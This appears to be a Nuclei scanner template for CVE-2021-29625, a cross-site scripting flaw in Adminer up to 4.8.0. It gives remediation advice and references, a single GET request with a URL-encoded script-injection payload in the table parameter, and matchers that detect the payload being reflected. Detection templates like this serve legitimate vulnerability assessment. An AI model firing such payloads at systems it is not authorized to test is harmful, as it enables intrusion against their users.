50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: CVE-2021-29625
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info:
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name: Adminer <=4.8.0 - Cross-Site Scripting
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author: daffainfo
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severity: medium
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description: Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled).
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remediation: This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`).
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reference:
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- https://sourceforge.net/p/adminer/bugs-and-features/797/
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- https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7
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- https://nvd.nist.gov/vuln/detail/CVE-2021-29625
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- https://github.com/vrana/adminer/security/advisories/GHSA-2v82-5746-vwqc
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-29625
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cwe-id: CWE-79
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epss-score: 0.00212
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epss-percentile: 0.59065
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cpe: cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: adminer
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product: adminer
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tags: cve,cve2021,adminer,xss
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http:
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- method: GET
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path:
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- '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</script><script>alert(document.domain)</script>"
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 490a0046304402206dbb3b8b49a08320cf452dd9f20e7a433a5d5873302e8cd260273f311a49f3900220270c304a2ef682fb5db1fbc055c712e1a8dee2a3f1edef46824b9090cfa95de7:922c64590222798bb761d5b6d8e72950
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